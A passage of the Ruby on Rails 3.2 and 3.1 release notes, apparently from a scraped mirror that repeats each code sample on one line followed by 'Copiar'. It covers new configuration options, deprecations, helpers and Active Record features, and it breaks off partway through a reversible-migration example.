- New applications get a flag config.active_record.auto_explain_threshold_in_seconds in the environments configuration files. With a value of 0.5 in development.rb and commented out in production.rb. No mention in test.rb.

- Added config.exceptions_app to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

- Added a DebugExceptions middleware which contains features extracted from ShowExceptions middleware.

- Display mounted engines' routes in rake routes.

- Allow to change the loading order of railties with config.railties_order like:

config.railties_order = [Blog::Engine, :main_app, :all]

config.railties_order = [Blog::Engine, :main_app, :all] Copiar

- Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

- Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to ActiveSupport::TaggedLogging. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

- Default options to rails new can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time rails new runs in the .railsrc configuration file in your home directory.

- Add an alias d for destroy. This works for engines too.

- Attributes on scaffold and model generators default to string. This allows the following: bin/rails g scaffold Post title body:text author

- Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

bin/rails g scaffold Post title:string:index author:uniq price:decimal{7,2}

Copiar
will create indexes for title and author with the latter being a unique index. Some types such as decimal accept custom options. In the example, price will be a decimal column with precision and scale set to 7 and 2 respectively.

- Turn gem has been removed from default Gemfile.

- Remove old plugin generator rails generate plugin in favor of rails plugin new command.

- Remove old config.paths.app.controller API in favor of config.paths["app/controller"].

5.1 Deprecations

- Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

6 Action Mailer

- Upgraded mail version to 2.4.0.

- Removed the old Action Mailer API which was deprecated since Rails 3.0.

7 Action Pack

7.1 Action Controller

- Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be.

- Added :gzip option to caches_page. The default option can be configured globally using page_cache_compression.

- Rails will now use your default layout (such as "layouts/application") when you specify a layout with :only and :except condition, and those conditions fail.

class CarsController
layout 'single_car', :only => :show
end

class CarsController layout 'single_car', :only => :show end Copiar
Rails will use layouts/single_car when a request comes in :show action, and use layouts/application (or layouts/cars, if exists) when a request comes in for any other actions.

- form_for is changed to use #{action}_#{as} as the css class and id if :as option is provided. Earlier versions used #{as}_#{action}.

- ActionController::ParamsWrapper on Active Record models now only wrap attr_accessible attributes if they were set. If not, only the attributes returned by the class method attribute_names will be wrapped. This fixes the wrapping of nested attributes by adding them to attr_accessible.

- Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

- ActionDispatch::ShowExceptions is refactored. The controller is responsible for choosing to show exceptions. It's possible to override show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

- Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

- ActionController::TestCase cookies is refactored. Assigning cookies for test cases should now use cookies[]

cookies[:email] = 'user@example.com'
get :index
assert_equal 'user@example.com', cookies[:email]

cookies[:email] = 'user@example.com' get :index assert_equal 'user@example.com', cookies[:email] Copiar
To clear the cookies, use clear.

cookies.clear
get :index
assert_nil cookies[:email]

cookies.clear get :index assert_nil cookies[:email] Copiar
We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

- send_file now guesses the MIME type from the file extension if :type is not provided.

- MIME type entries for PDF, ZIP and other formats were added.

- Allow fresh_when/stale? to take a record instead of an options hash.

- Changed log level of warning for missing CSRF token from :debug to :warn.

- Assets should use the request protocol by default or default to relative if no request is available.

7.1.1 Deprecations

- Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

class ApplicationController
layout "application"
end

class PostsController < ApplicationController
end

class ApplicationController layout "application" end class PostsController < ApplicationController end Copiar
In the example above, PostsController will no longer automatically look up for a posts layout. If you need this functionality you could either remove layout "application" from ApplicationController or explicitly set it to nil in PostsController.

- Deprecated ActionController::UnknownAction in favor of AbstractController::ActionNotFound.

- Deprecated ActionController::DoubleRenderError in favor of AbstractController::DoubleRenderError.

- Deprecated method_missing in favor of action_missing for missing actions.

- Deprecated ActionController#rescue_action, ActionController#initialize_template_class and ActionController#assign_shortcuts.

7.2 Action Dispatch

- Add config.action_dispatch.default_charset to configure default charset for ActionDispatch::Response.

- Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

- The ShowExceptions middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in env["action_dispatch.exception"] and with the PATH_INFO rewritten to the status code.

- Allow rescue responses to be configured through a railtie as in config.action_dispatch.rescue_responses.

7.2.1 Deprecations

- Deprecated the ability to set a default charset at the controller level, use the new config.action_dispatch.default_charset instead.

7.3 Action View

- Add button_tag support to ActionView::Helpers::FormBuilder. This support mimics the default behavior of submit_tag.

<%= form_for @post do |f| %>
<%= f.button %>
<% end %>

<%= form_for @post do |f| %> <%= f.button %> <% end %> Copiar

- Date helpers accept a new option :use_two_digit_numbers => true, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

- You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

<%= form_for(@offer, :namespace => 'namespace') do |f| %>
<%= f.label :version, 'Version' %>:
<%= f.text_field :version %>
<% end %>

<%= form_for(@offer, :namespace => 'namespace') do |f| %> <%= f.label :version, 'Version' %>: <%= f.text_field :version %> <% end %> Copiar

- Limit the number of options for select_year to 1000. Pass :max_years_allowed option to set your own limit.

- content_tag_for and div_for can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

@items.each do |item|
content_tag_for(:li, item) do
Title: <%= item.title %>
end
end

@items.each do |item| content_tag_for(:li, item) do Title: <%= item.title %> end end Copiar
You can do this:

content_tag_for(:li, @items) do |item|
Title: <%= item.title %>
end

content_tag_for(:li, @items) do |item| Title: <%= item.title %> end Copiar

- Added font_path helper method that computes the path to a font asset in public/fonts.

7.3.1 Deprecations

- Passing formats or handlers to render :template and friends like render :template => "foo.html.erb" is deprecated. Instead, you can provide :handlers and :formats directly as options: render :template => "foo", :formats => [:html, :js], :handlers => :erb.

7.4 Sprockets

- Adds a configuration option config.assets.logger to control Sprockets logging. Set it to false to turn off logging and to nil to default to Rails.logger.

8 Active Record

- Boolean columns with 'on' and 'ON' values are type cast to true.

- When the timestamps method creates the created_at and updated_at columns, it makes them non-nullable by default.

- Implemented ActiveRecord::Relation#explain.

- Implements ActiveRecord::Base.silence_auto_explain which allows the user to selectively disable automatic EXPLAINs within a block.

- Implements automatic EXPLAIN logging for slow queries. A new configuration parameter config.active_record.auto_explain_threshold_in_seconds determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

- Added ActiveRecord::Base.store for declaring simple single-column key/value stores.

class User < ActiveRecord::Base
store :settings, accessors: [ :color, :homepage ]
end

u = User.new(color: 'black', homepage: '37signals.com')
u.color                          # Accessor stored attribute
u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor

class User < ActiveRecord::Base store :settings, accessors: [ :color, :homepage ] end u = User.new(color: 'black', homepage: '37signals.com') u.color # Accessor stored attribute u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor Copiar

- Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

rake db:migrate SCOPE=blog

rake db:migrate SCOPE=blog Copiar

- Migrations copied from engines are now scoped with engine's name, for example 01_create_posts.blog.rb.

- Implemented ActiveRecord::Relation#pluck method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

Client.where(:active => true).pluck(:id)
# SELECT id from clients where active = 1

Client.where(:active => true).pluck(:id) # SELECT id from clients where active = 1 Copiar

- Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named MyModel::GeneratedFeatureMethods. It is included into the model class immediately after the generated_attributes_methods module defined in Active Model, so association methods override attribute methods of the same name.

- Add ActiveRecord::Relation#uniq for generating unique queries.

Client.select('DISTINCT name')

Client.select('DISTINCT name') Copiar
..can be written as:

Client.select(:name).uniq

Client.select(:name).uniq Copiar
This also allows you to revert the uniqueness in a relation:

Client.select(:name).uniq.uniq(false)

Client.select(:name).uniq.uniq(false) Copiar

- Support index sort order in SQLite, MySQL and PostgreSQL adapters.

- Allow the :class_name option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized

has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized Copiar

- In development mode, db:drop also drops the test database in order to be symmetric with db:create.

- Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

- Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

- Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a better approach over the old find_or_create_by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")

User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") Copiar

- Added a with_lock method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to lock!. This makes it possible to write the following:

class Order < ActiveRecord::Base
def cancel!
transaction do
lock!
# ... cancelling logic
end
end
end

class Order < ActiveRecord::Base def cancel! transaction do lock! # ... cancelling logic end end end Copiar
as:

class Order < ActiveRecord::Base
def cancel!
with_lock do
# ... cancelling logic
end
end
end

class Order < ActiveRecord::Base def cancel! with_lock do # ... cancelling logic end end end Copiar

8.1 Deprecations

- Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

Thread.new { Post.find(1) }.join

Thread.new { Post.find(1) }.join Copiar
It should be changed to close the database connection at the end of the thread:

Thread.new {
Post.find(1)
Post.connection.close
}.join

Thread.new { Post.find(1) Post.connection.close }.join Copiar
Only people who spawn threads in their application code need to worry about this change.

- The set_table_name, set_inheritance_column, set_sequence_name, set_primary_key, set_locking_column methods are deprecated. Use an assignment method instead. For example, instead of set_table_name, use self.table_name=.

class Project < ActiveRecord::Base
self.table_name = "project"
end

class Project < ActiveRecord::Base self.table_name = "project" end Copiar
Or define your own self.table_name method:

class Post < ActiveRecord::Base
def self.table_name
"special_" + super
end
end

Post.table_name # => "special_posts"

class Post < ActiveRecord::Base def self.table_name "special_" + super end end Post.table_name # => "special_posts" Copiar

9 Active Model

- Add ActiveModel::Errors#added? to check if a specific error has been added.

- Add ability to define strict validations with strict => true that always raises exception when fails.

- Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

9.1 Deprecations

- Deprecated define_attr_method in ActiveModel::AttributeMethods because this only existed to support methods like set_table_name in Active Record, which are themselves being deprecated.

- Deprecated Model.model_name.partial_path in favor of model.to_partial_path.

10 Active Resource

- Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.

11 Active Support

- Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities.

Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"

Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"

Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
# Logs "[BCX] [Jason] Stuff"

Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff" Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" Copiar

- The beginning_of_week method in Date, Time and DateTime accepts an optional argument representing the day in which the week is assumed to start.

- ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs.

- Defined new methods Module#qualified_const_defined?, Module#qualified_const_get and Module#qualified_const_set that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

- Added #deconstantize which complements #demodulize in inflections. This removes the rightmost segment in a qualified constant name.

- Added safe_constantize that constantizes a string but returns nil instead of raising an exception if the constant (or part of it) does not exist.

- ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options!.

- Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<<.

- The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.

- The inflector understands acronyms.

- Added Time#all_day, Time#all_week, Time#all_quarter and Time#all_year as a way of generating ranges.

Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)

Event.where(:created_at => Time.now.all_week) Event.where(:created_at => Time.now.all_day) Copiar

- Added instance_accessor: false as an option to Class#cattr_accessor and friends.

- ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat.

- Added ActiveSupport::Cache::NullStore for use in development and testing.

- Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library.

11.1 Deprecations

- ActiveSupport::Base64 is deprecated in favor of ::Base64.

- Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern.

- Module#synchronize is deprecated with no replacement. Please use monitor from ruby's standard library.

- Deprecated ActiveSupport::MessageEncryptor#encrypt and ActiveSupport::MessageEncryptor#decrypt.

- ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

- ActiveSupport::BufferedLogger#open_log is deprecated. This method should not have been public in the first place.

- ActiveSupport::BufferedLogger's behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

- ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f

f = File.open('foo.log', 'w') f.sync = true ActiveSupport::BufferedLogger.new f Copiar

- ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your filehandle, or tune your filesystem.

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by Vijay Dev.

Ruby on Rails 3.1 Release Notes — Ruby...

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

1.1 Rails 3.1 requires at least Ruby 1.8.7

Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

1.2 What to update in your apps

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

1.2.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '= 3.1.3'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
gem 'sass-rails',   "~> 3.1.5"
gem 'coffee-rails', "~> 3.1.1"
gem 'uglifier',     ">= 1.0.3"
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

gem 'rails', '= 3.1.3' gem 'mysql2' # Needed for the new asset pipeline group :assets do gem 'sass-rails', "~> 3.1.5" gem 'coffee-rails', "~> 3.1.1" gem 'uglifier', ">= 1.0.3" end # jQuery is the default JavaScript library in Rails 3.1 gem 'jquery-rails' Copiar

1.2.2 config/application.rb

- The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

config.assets.enabled = true config.assets.version = '1.0' Copiar

- If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

# Defaults to '/assets'
config.assets.prefix = '/asset-files'

# Defaults to '/assets' config.assets.prefix = '/asset-files' Copiar

1.2.3 config/environments/development.rb

- Remove the RJS setting config.action_view.debug_rjs = true.

- Add the following, if you enable the asset pipeline.

# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

# Do not compress assets config.assets.compress = false # Expands the lines which load the assets config.assets.debug = true Copiar

1.2.4 config/environments/production.rb

- Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile `= %w( admin.js admin.css )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

# Compress JavaScripts and CSS config.assets.compress = true # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false # Generate digests for assets URLs config.assets.digest = true # Defaults to Rails.root.join("public/assets") # config.assets.manifest = YOUR_PATH # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) # config.assets.precompile `= %w( admin.js admin.css ) # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true Copiar

1.2.5 config/environments/test.rb

# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"

# Configure static asset server for tests with Cache-Control for performance config.serve_static_assets = true config.static_cache_control = "public, max-age=3600" Copiar

1.2.6 config/initializers/wrap_parameters.rb

- Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
wrap_parameters :format => [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

# Be sure to restart your server when you modify this file. # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do wrap_parameters :format => [:json] end # Disable root element in JSON by default. ActiveSupport.on_load(:active_record) do self.include_root_in_json = false end Copiar

1.2.7 Remove :cache and :concat options in asset helpers references in views

- With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

2 Creating a Rails 3.1 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

rails new myapp cd myapp Copiar

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

rails new myapp --edge Copiar

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

ruby /path/to/rails/railties/bin/rails new myapp --dev Copiar

3 Rails Architectural Changes

3.1 Assets Pipeline

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by Sprockets and is covered in the Asset Pipeline guide.

3.2 HTTP Streaming

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

3.3 Default JS library is now jQuery

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

$ rails new myapp -j prototype

rails new myapp -j prototype Copiar

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties

- jQuery is the new default JavaScript library.

- jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.

- The application generator accepts an option -j which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

- Generating an application or a plugin runs bundle install unless --skip-gemfile or --skip-bundle is specified.

- The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use CoffeeScript and Sass, if those libraries are available.

- Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, --old-style-hash can be passed.

- Scaffold controller generator creates format block for JSON instead of XML.

- Active Record logging is directed to STDOUT and shown inline in the console.

- Added config.force_ssl configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol.

- Added rails plugin new command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

- Added Rack::Etag and Rack::ConditionalGet to the default middleware stack.

- Added Rack::Cache to the default middleware stack.

- Engines received a major update - You can mount them at any path, enable assets, run generators, etc.

5 Action Pack

5.1 Action Controller

- A warning is given out if the CSRF token authenticity cannot be verified.

- Specify force_ssl in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, :only or :except can be used.

- Sensitive query string parameters specified in config.filter_parameters will now be filtered out from the request paths in the log.

- URL parameters which return nil for to_param are now removed from the query string.

- Added ActionController::ParamsWrapper to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in config/initializers/wrap_parameters.rb.

- Added config.action_controller.include_all_helpers. By default helper :all is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).

- url_for and named URL helpers now accept :subdomain and :domain as options.

- Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call.

class PostsController < ApplicationController
USER_NAME, PASSWORD = "dhh", "secret"

before_filter :authenticate, :except => [ :index ]

def index
render :text => "Everyone can see me!"
end

def edit
render :text => "I'm only accessible if you know the password"
end

private
def authenticate
authenticate_or_request_with_http_basic do |user_name, password|
user_name == USER_NAME && password == PASSWORD
end
end
end

class PostsController < ApplicationController USER_NAME, PASSWORD = "dhh", "secret" before_filter :authenticate, :except => [ :index ] def index render :text => "Everyone can see me!" end def edit render :text => "I'm only accessible if you know the password" end private def authenticate authenticate_or_request_with_http_basic do |user_name, password| user_name == USER_NAME && password == PASSWORD end end end Copiar
..can now be written as

class PostsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index

def index
render :text => "Everyone can see me!"
end

def edit
render :text => "I'm only accessible if you know the password"
end
end

class PostsController < ApplicationController http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index def index render :text => "Everyone can see me!" end def edit render :text => "I'm only accessible if you know the password" end end Copiar

- Added streaming support, you can enable it with:

class PostsController < ActionController::Base
stream
end

class PostsController < ActionController::Base stream end Copiar
You can restrict it to some actions by using :only or :except. Please read the docs at ActionController::Streaming for more information.

- The redirect route method now also accepts a hash of options which will only change the parts of the URL in question, or an object which responds to call, allowing for redirects to be reused.

5.2 Action Dispatch

- config.action_dispatch.x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set any particular value for it. This allows servers to set it through X-Sendfile-Type.

- ActionDispatch::MiddlewareStack now uses composition over inheritance and is no longer an array.

- Added ActionDispatch::Request.ignore_accept_header to ignore accept headers.

- Added Rack::Cache to the default stack.

- Moved etag responsibility from ActionDispatch::Response to the middleware stack.

- Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept four arguments and requires #destroy_session instead of simply #destroy.

- Template lookup now searches further up in the inheritance chain.

5.3 Action View

- Added an :authenticity_token option to form_tag for custom handling or to omit the token by passing :authenticity_token => false.

- Created ActionView::Renderer and specified an API for ActionView::Context.

- In place SafeBuffer mutation is prohibited in Rails 3.1.

- Added HTML5 button_tag helper.

- file_field automatically adds :multipart => true to the enclosing form.

- Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:

tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />

tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" /> Copiar

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

- csrf_meta_tag is renamed to csrf_meta_tags and aliases csrf_meta_tag for backwards compatibility.

- The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

- rhtml and rxml are finally removed as template handlers.

- config.action_view.cache_template_loading is brought back which allows to decide whether templates should be cached or not.

- The submit form helper does not generate an id "object_name_id" anymore.

- Allows FormHelper#form_for to specify the :method as a direct option instead of through the :html hash. form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete }).

- Provided JavaScriptHelper#j() as an alias for JavaScriptHelper#escape_javascript(). This supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper.

- Allows AM/PM format in datetime selectors.

- auto_link has been removed from Rails and extracted into the rails_autolink gem

6 Active Record

- Added a class method pluralize_table_names to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names.

class User < ActiveRecord::Base
self.pluralize_table_names = false
end

class User < ActiveRecord::Base self.pluralize_table_names = false end Copiar

- Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

class User < ActiveRecord::Base
has_one :account
end

user.build_account{ |a| a.credit_limit = 100.0 }

class User < ActiveRecord::Base has_one :account end user.build_account{ |a| a.credit_limit = 100.0 } Copiar

- Added ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

- CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

- ActiveRecord#new, ActiveRecord#create and ActiveRecord#update_attributes all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

class Post < ActiveRecord::Base
attr_accessible :title
attr_accessible :title, :published_at, :as => :admin
end

Post.new(params[:post], :as => :admin)

class Post < ActiveRecord::Base attr_accessible :title attr_accessible :title, :published_at, :as => :admin end Post.new(params[:post], :as => :admin) Copiar

- default_scope can now take a block, lambda, or any other object which responds to call for lazy evaluation.

- Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

- PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

- ConnectionManagement middleware is changed to clean up the connection pool after the rack body has been flushed.

- Added an update_column method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use update_attributes or update_attribute unless you are sure you do not want to execute any callback, including the modification of the updated_at column. It should not be called on new records.

- Associations with a :through option can now use any association as the through or source association, including other associations which have a :through option and has_and_belongs_to_many associations.

- The configuration for the current database connection is now accessible via ActiveRecord::Base.connection_config.

- limits and offsets are removed from COUNT queries unless both are supplied.

People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'

People.limit(1).count # => 'SELECT COUNT(*) FROM people' People.offset(1).count # => 'SELECT COUNT(*) FROM people' People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' Copiar

- ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called CollectionProxy, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

- Singular associations (has_one, belongs_to) no longer have a proxy and simply returns the associated record or nil. This means that you should not use undocumented methods such as bob.mother.create - use bob.create_mother instead.

- Support the :dependent option on has_many :through associations. For historical and practical reasons, :delete_all is the default deletion strategy employed by association.delete(*records), despite the fact that the default strategy is :nullify for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.

- The behavior of association.destroy for has_and_belongs_to_many and has_many :through is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

- Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

- Previously, has_many_through.destroy(*records) would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

- Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do records.association.each(&:destroy).

- Add :bulk => true option to change_table to make all the schema changes defined in a block using a single ALTER statement.

change_table(:users, :bulk => true) do |t|
t.string :company_name
t.change :birthdate, :datetime
end

change_table(:users, :bulk => true) do |t| t.string :company_name t.change :birthdate, :datetime end Copiar

- Removed support for accessing attributes on a has_and_belongs_to_many join table. has_many :through needs to be used.

- Added a create_association! method for has_one and belongs_to associations.

- Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the change method.

class MyMigration < ActiveRecord::Migration
def change
